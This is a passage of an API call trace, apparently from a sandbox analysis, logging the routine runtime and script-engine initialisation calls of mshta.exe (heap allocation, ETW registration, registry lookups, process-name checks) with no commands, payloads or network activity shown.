HeapInformation=0x3dfa20, HeapInformationLength=0x4) returned 1 [0251.452] malloc (_Size=0x80) returned 0xbe1128 [0251.452] GetCurrentProcess () returned 0xffffffff [0251.452] GetSystemInfo (in: lpSystemInfo=0x73881ad0 | out: lpSystemInfo=0x73881ad0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0251.452] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0251.452] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0251.452] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0251.452] VerifyVersionInfoW (in: lpVersionInformation=0x3df624, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x3df624) returned 1 [0251.452] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x3df744 | out: Buffer=0x0, ReturnedLength=0x3df744) returned 0 [0251.452] GetLastError () returned 0x7a [0251.452] GetProcessHeap () returned 0x8f0000 [0251.453] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xf0) returned 0x903790 [0251.453] GetLogicalProcessorInformation (in: Buffer=0x903790, ReturnedLength=0x3df744 | out: Buffer=0x903790, ReturnedLength=0x3df744) returned 1 [0251.453] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x903790 | out: hHeap=0x8f0000) returned 1 [0251.453] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0x3df75c, nSize=0x104 | out: lpBuffer="\x2c44\x90\xfe43\xffff\xfe43\xffff\x02") returned 0x0 [0251.453] __dllonexit () returned 0x72e23780 [0251.453] __dllonexit () returned 0x72e237a0 [0251.453] __dllonexit () returned 0x72e237b0 [0251.454] __dllonexit () returned 0x72e23770 [0251.454] __dllonexit () returned 0x72e237e0 [0251.454] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x12e0000 [0251.454] __dllonexit () returned 0x72e23790 [0251.455] GlobalMemoryStatusEx (in: lpBuffer=0x3df920 | out: lpBuffer=0x3df920) returned 1 [0251.455] __dllonexit () returned 0x72e23740 [0251.455] __dllonexit () returned 0x72e229b0 [0251.455] __dllonexit () returned 0x72e229c0 [0251.455] GetProcessHeap () returned 0x8f0000 [0251.455] __dllonexit () returned 0x72e23820 [0251.455] __dllonexit () returned 0x72e23830 [0251.455] __dllonexit () returned 0x72e23840 [0251.455] __dllonexit () returned 0x72e23850 [0251.455] __dllonexit () returned 0x72e229e0 [0251.456] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0f4 [0251.456] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0f4 [0251.456] __dllonexit () returned 0x72e22a00 [0251.456] __dllonexit () returned 0x72e22a20 [0251.456] __dllonexit () returned 0x72e22a40 [0251.457] __dllonexit () returned 0x72e22a60 [0251.457] __dllonexit () returned 0x72e22a90 [0251.457] __dllonexit () returned 0x72e22a70 [0251.457] __dllonexit () returned 0x72e22aa0 [0251.457] __dllonexit () returned 0x72e22a80 [0251.458] __dllonexit () returned 0x72e22a50 [0251.458] GlobalMemoryStatusEx (in: lpBuffer=0x3df920 | out: lpBuffer=0x3df920) returned 1 [0251.458] __dllonexit () returned 0x72e22ab0 [0251.458] __dllonexit () returned 0x72e22ac0 [0251.458] __dllonexit () returned 0x72e22ae0 [0251.458] __dllonexit () returned 0x72e22b00 [0251.458] __dllonexit () returned 0x72e22b20 [0251.458] __dllonexit () returned 0x72e22b40 [0251.458] __dllonexit () returned 0x72e22b60 [0251.460] __dllonexit () returned 0x72e22b80 [0251.461] QueryPerformanceFrequency (in: lpFrequency=0x3df960 | out: lpFrequency=0x3df960*=100000000) returned 1 [0251.461] __dllonexit () returned 0x72e22ba0 [0251.461] __dllonexit () returned 0x72e22bb0 [0251.461] __dllonexit () returned 0x72e22c20 [0251.461] __dllonexit () returned 0x72e22be0 [0251.461] __dllonexit () returned 0x72e22bf0 [0251.461] __dllonexit () returned 0x72e22c00 [0251.461] __dllonexit () returned 0x72e22c10 [0251.461] __dllonexit () returned 0x72e22bd0 [0251.461] __dllonexit () returned 0x72e22c30 [0251.461] __dllonexit () returned 0x72e22c50 [0251.461] __dllonexit () returned 0x72e22c40 [0251.462] __dllonexit () returned 0x72e22c70 [0251.462] __dllonexit () returned 0x72e22c90 [0251.462] __dllonexit () returned 0x72e22cb0 [0251.462] __dllonexit () returned 0x72e22cd0 [0251.462] __dllonexit () returned 0x72e22cf0 [0251.462] __dllonexit () returned 0x72e22d70 [0251.462] __dllonexit () returned 0x72e22d50 [0251.462] __dllonexit () returned 0x72e22d30 [0251.462] __dllonexit () returned 0x72e22d10 [0251.463] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f24c | out: ConditionVariable=0x7387f24c) [0251.463] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f25c | out: ConditionVariable=0x7387f25c) [0251.463] __dllonexit () returned 0x72e22d90 [0251.463] __dllonexit () returned 0x72e22db0 [0251.463] __dllonexit () returned 0x72e22dc0 [0251.463] __dllonexit () returned 0x72e22dd0 [0251.463] __dllonexit () returned 0x72e22df0 [0251.463] __dllonexit () returned 0x72e22e10 [0251.463] __dllonexit () returned 0x72e22e30 [0251.463] __dllonexit () returned 0x72e22e50 [0251.463] __dllonexit () returned 0x72e22e70 [0251.464] __dllonexit () returned 0x72e22e90 [0251.464] __dllonexit () returned 0x72e22eb0 [0251.464] __dllonexit () returned 0x72e22ec0 [0251.464] __dllonexit () returned 0x72e22ed0 [0251.464] __dllonexit () returned 0x72e22ee0 [0251.464] __dllonexit () returned 0x72e22ef0 [0251.464] __dllonexit () returned 0x72e22f10 [0251.464] __dllonexit () returned 0x72e22f20 [0251.464] __dllonexit () returned 0x72e22f30 [0251.464] __dllonexit () returned 0x72e22f50 [0251.464] __dllonexit () returned 0x72e22f70 [0251.464] __dllonexit () returned 0x72e22fb0 [0251.465] __dllonexit () returned 0x72e22fc0 [0251.465] __dllonexit () returned 0x72e23000 [0251.465] __dllonexit () returned 0x72e23010 [0251.465] __dllonexit () returned 0x72e23020 [0251.465] RtlInitializeConditionVariable (in: ConditionVariable=0x738899c0 | out: ConditionVariable=0x738899c0) [0251.465] __dllonexit () returned 0x72e23040 [0251.465] __dllonexit () returned 0x72e23090 [0251.465] __dllonexit () returned 0x72e23050 [0251.465] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f3ec | out: ConditionVariable=0x7387f3ec) [0251.465] __dllonexit () returned 0x72e23070 [0251.465] __dllonexit () returned 0x72e23080 [0251.465] __dllonexit () returned 0x72e230c0 [0251.465] __dllonexit () returned 0x72e230a0 [0251.466] __dllonexit () returned 0x72e230d0 [0251.466] __dllonexit () returned 0x72e230f0 [0251.466] __dllonexit () returned 0x72e23110 [0251.466] RtlInitializeConditionVariable (in: ConditionVariable=0x738899ec | out: ConditionVariable=0x738899ec) [0251.466] __dllonexit () returned 0x72e23130 [0251.466] __dllonexit () returned 0x72e23150 [0251.466] __dllonexit () returned 0x72e23160 [0251.466] __dllonexit () returned 0x72e23170 [0251.466] __dllonexit () returned 0x72e23180 [0251.466] RtlInitializeConditionVariable (in: ConditionVariable=0x738899f0 | out: ConditionVariable=0x738899f0) [0251.466] __dllonexit () returned 0x72e23190 [0251.467] __dllonexit () returned 0x72e231b0 [0251.467] __dllonexit () returned 0x72e231c0 [0251.467] __dllonexit () returned 0x72e231d0 [0251.467] __dllonexit () returned 0x72e23230 [0251.467] __dllonexit () returned 0x72e23220 [0251.467] __dllonexit () returned 0x72e231f0 [0251.467] __dllonexit () returned 0x72e23210 [0251.467] __dllonexit () returned 0x72e23200 [0251.467] __dllonexit () returned 0x72e23240 [0251.467] __dllonexit () returned 0x72e23260 [0251.467] __dllonexit () returned 0x72e23280 [0251.468] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0251.468] __dllonexit () returned 0x72e23290 [0251.468] __dllonexit () returned 0x72e232b0 [0251.468] __dllonexit () returned 0x72e232a0 [0251.470] EtwEventRegister (in: ProviderId=0x72876f80, EnableCallback=0x72d432c0, CallbackContext=0x73760090, RegHandle=0x7388adc8 | out: RegHandle=0x7388adc8) returned 0x0 [0251.470] EtwEventRegister (in: ProviderId=0x72876f70, EnableCallback=0x72d432c0, CallbackContext=0x737601d8, RegHandle=0x73882180 | out: RegHandle=0x73882180) returned 0x0 [0251.470] EtwEventRegister (in: ProviderId=0x72876f60, EnableCallback=0x72d432c0, CallbackContext=0x7376af60, RegHandle=0x73882178 | out: RegHandle=0x73882178) returned 0x0 [0251.471] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xbbf8) returned 0x12e05a8 [0251.471] RtlInitializeSListHead (in: ListHead=0x12e0608 | out: ListHead=0x12e0608) [0251.471] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0x3df818 | out: phkResult=0x3df818*=0x0) returned 0x2 [0251.471] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0x3df818 | out: phkResult=0x3df818*=0x0) returned 0x2 [0251.471] GetModuleHandleW (lpModuleName=0x0) returned 0x1320000 [0251.471] GetCurrentProcess () returned 0xffffffff [0251.471] GetCurrentProcess () returned 0xffffffff [0251.471] RtlInitializeSListHead (in: ListHead=0x12e0798 | out: ListHead=0x12e0798) [0251.471] RtlInitializeSListHead (in: ListHead=0x12e07b8 | out: ListHead=0x12e07b8) [0251.471] GetCurrentProcess () returned 0xffffffff [0251.472] RtlInitializeSListHead (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) [0251.472] RtlInitializeSListHead (in: ListHead=0x12e0898 | out: ListHead=0x12e0898) [0251.472] GetCurrentProcess () returned 0xffffffff [0251.472] RtlInitializeSListHead (in: ListHead=0x12e0958 | out: ListHead=0x12e0958) [0251.472] RtlInitializeSListHead (in: ListHead=0x12e0978 | out: ListHead=0x12e0978) [0251.472] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x113c) returned 0x12ec1a8 [0251.472] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x113c) returned 0x12ed2f0 [0251.472] GetCurrentProcess () returned 0xffffffff [0251.472] GetCurrentProcess () returned 0xffffffff [0251.472] GetCurrentProcess () returned 0xffffffff [0251.472] GetCurrentProcess () returned 0xffffffff [0251.474] GetTickCount () returned 0x3e30e [0251.474] GetTickCount () returned 0x3e30e [0251.474] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x78) returned 0x12ee438 [0251.474] rand_s (in: _RandomValue=0x3df7ac | out: _RandomValue=0x3df7ac) returned 0x0 [0251.475] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x870000 [0251.475] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903fd0 [0251.475] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9040b0 [0251.475] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x8fcd80 [0251.475] __dllonexit () returned 0x72e232e0 [0251.475] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903f70 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904150 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x8fce10 [0251.476] __dllonexit () returned 0x72e232f0 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903f30 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904090 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x8fcd98 [0251.476] __dllonexit () returned 0x72e232d0 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903f90 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904070 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903ff0 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903fb0 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904130 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904190 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904170 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903ed0 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x9026d0 [0251.476] __dllonexit () returned 0x72e23310 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904010 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904030 [0251.476] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9041b0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904110 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903eb0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904050 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9041d0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9040d0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x902640 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9040f0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9041f0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903f10 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904210 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903e50 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903e70 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903e90 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x903ef0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x9025e0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9044a0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904560 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904500 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904420 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9044c0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904400 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904460 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9043e0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x9024c0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904380 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9044e0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9043a0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904600 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9045e0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904520 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9045c0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9043c0 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x902610 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904640 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904580 [0251.477] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9042a0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9045a0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904480 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904620 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904260 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9042e0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x902430 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9042c0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904280 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904300 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904320 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904340 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904540 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904360 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904440 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x902460 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9048a0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9049e0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904740 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904960 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904a00 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904900 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904980 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9046c0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x9024f0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9049a0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9046e0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904920 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904780 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904700 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904720 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x904880 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x18) returned 0x9047e0 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x902670 [0251.478] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x28) returned 0x902490 [0251.479] __dllonexit () returned 0x72e23300 [0251.479] __dllonexit () returned 0x72e23320 [0251.479] __dllonexit () returned 0x72e23330 [0251.479] __dllonexit () returned 0x72e23340 [0251.484] _CIsqrt () returned 0x4000027f [0251.485] __dllonexit () returned 0x72e23360 [0251.485] __dllonexit () returned 0x72e23370 [0251.485] __dllonexit () returned 0x72e23380 [0251.485] __dllonexit () returned 0x72e233a0 [0251.487] __dllonexit () returned 0x72e233c0 [0251.487] __dllonexit () returned 0x72e233d0 [0251.487] __dllonexit () returned 0x72e233f0 [0251.487] __dllonexit () returned 0x72e23410 [0251.487] __dllonexit () returned 0x72e23430 [0251.487] __dllonexit () returned 0x72e23440 [0251.487] RtlInitializeConditionVariable (in: ConditionVariable=0x73881618 | out: ConditionVariable=0x73881618) [0251.487] __dllonexit () returned 0x72e23450 [0251.488] __dllonexit () returned 0x72e23460 [0251.488] __dllonexit () returned 0x72e23470 [0251.488] __dllonexit () returned 0x72e23480 [0251.488] __dllonexit () returned 0x72e23490 [0251.488] __dllonexit () returned 0x72e234a0 [0251.488] __dllonexit () returned 0x72e234c0 [0251.489] __dllonexit () returned 0x72e234f0 [0251.489] __dllonexit () returned 0x72e23500 [0251.489] __dllonexit () returned 0x72e23530 [0251.489] __dllonexit () returned 0x72e23520 [0251.489] __dllonexit () returned 0x72e23510 [0251.489] __dllonexit () returned 0x72e23540 [0251.489] __dllonexit () returned 0x72e23560 [0251.489] __dllonexit () returned 0x72e23580 [0251.490] __dllonexit () returned 0x72e235c0 [0251.490] __dllonexit () returned 0x72e235a0 [0251.490] __dllonexit () returned 0x72e235b0 [0251.490] __dllonexit () returned 0x72e235d0 [0251.490] __dllonexit () returned 0x72e235f0 [0251.490] __dllonexit () returned 0x72e23610 [0251.490] __dllonexit () returned 0x72e23620 [0251.491] __dllonexit () returned 0x72e23640 [0251.491] __dllonexit () returned 0x72e23650 [0251.491] __dllonexit () returned 0x72e23660 [0251.491] __dllonexit () returned 0x72e23670 [0251.491] RtlInitializeConditionVariable (in: ConditionVariable=0x73889c9c | out: ConditionVariable=0x73889c9c) [0251.491] RtlInitializeConditionVariable (in: ConditionVariable=0x73889ca0 | out: ConditionVariable=0x73889ca0) [0251.491] __dllonexit () returned 0x72e23680 [0251.491] __dllonexit () returned 0x72e23690 [0251.491] __dllonexit () returned 0x72e236a0 [0251.491] __dllonexit () returned 0x72e236b0 [0251.491] __dllonexit () returned 0x72e236c0 [0251.491] __dllonexit () returned 0x72e236e0 [0251.491] __dllonexit () returned 0x72e236d0 [0251.492] __dllonexit () returned 0x72e236f0 [0251.492] __dllonexit () returned 0x72e23710 [0251.492] __dllonexit () returned 0x72e23720 [0251.493] RtlInitializeConditionVariable (in: ConditionVariable=0x73889f18 | out: ConditionVariable=0x73889f18) [0251.493] __dllonexit () returned 0x72e23760 [0251.493] __dllonexit () returned 0x72e23750 [0251.493] __dllonexit () returned 0x72e237d0 [0251.493] __dllonexit () returned 0x72e237f0 [0251.493] __dllonexit () returned 0x72e23810 [0251.493] __dllonexit () returned 0x72e23860 [0251.493] GetCurrentThreadId () returned 0x15c [0251.493] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3df750, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0251.493] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0251.493] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEXPLORE.EXE") returned 4 [0251.493] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSFEEDSSYNC.EXE") returned 2 [0251.494] StrCmpICW (pszStr1="mshta.exe", pszStr2="SYSPREP.EXE") returned -6 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="EXPLORER.EXE") returned 8 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="LOADER42.EXE") returned 1 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="WWAHOST.EXE") returned -10 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEUTLAUNCH.EXE") returned 4 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="TE.EXE") returned -7 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="Te.ProcessHost.exe") returned -7 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="FAKEVIRTUALSURFACETESTAPP.EXE") returned 7 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSOOBE.EXE") returned -7 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="NETPLWIZ.EXE") returned -1 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="USERACCOUNTBROKER.EXE") returned -8 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSHTMPAD.EXE") returned -12 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="FirstLogonAnim.exe") returned 7 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="RESTOREOPTIN.EXE") returned -5 [0251.567] StrStrIW (lpFirst="mshta.exe", lpSrch="DCIScanner") returned 0x0 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedge.exe") returned 10 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedgecp.exe") returned 10 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="serviceworkerhost.exe") returned -6 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="pickerhost.exe") returned -3 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="msvsmon.exe") returned -14 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="browser_broker.exe") returned 11 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="jshost.exe") returned 3 [0251.567] StrCmpICW (pszStr1="mshta.exe", pszStr2="authhost.exe") returned 12 [0251.567] FindAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0x0 [0251.567] AddAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0xc000 [0251.568] EtwEventRegister (in: ProviderId=0x3df944, EnableCallback=0x72d76ef0, CallbackContext=0x7376d6a0, RegHandle=0x7376d6b8 | out: RegHandle=0x7376d6b8) returned 0x0 [0251.568] LdrResolveDelayLoadedAPI () returned 0x77c02340 [0251.568] EtwEventSetInformation (RegHandle=0x8ffe30, InformationClass=0x1b, EventInformation=0x2, InformationLength=0x72941e1c) returned 0x0 [0251.568] LdrResolveDelayLoadedAPI () returned 0x75d50d50 [0251.569] CoCreateGuid (in: pguid=0x7387e1a4 | out: pguid=0x7387e1a4*(Data1=0x5c8e12b6, Data2=0xe036, Data3=0x4ed4, Data4=([0]=0x80, [1]=0x24, [2]=0xca, [3]=0xb5, [4]=0x7d, [5]=0xe0, [6]=0x95, [7]=0x6d))) returned 0x0 [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884378 | out: ConditionVariable=0x73884378) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884374 | out: ConditionVariable=0x73884374) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884370 | out: ConditionVariable=0x73884370) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x7388436c | out: ConditionVariable=0x7388436c) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884368 | out: ConditionVariable=0x73884368) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884364 | out: ConditionVariable=0x73884364) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884360 | out: ConditionVariable=0x73884360) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x7388435c | out: ConditionVariable=0x7388435c) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884358 | out: ConditionVariable=0x73884358) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884354 | out: ConditionVariable=0x73884354) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x73884350 | out: ConditionVariable=0x73884350) [0251.569] RtlInitializeConditionVariable (in: ConditionVariable=0x7388434c | out: ConditionVariable=0x7388434c) [0251.569] RtlInitializeConditionVariable (in: 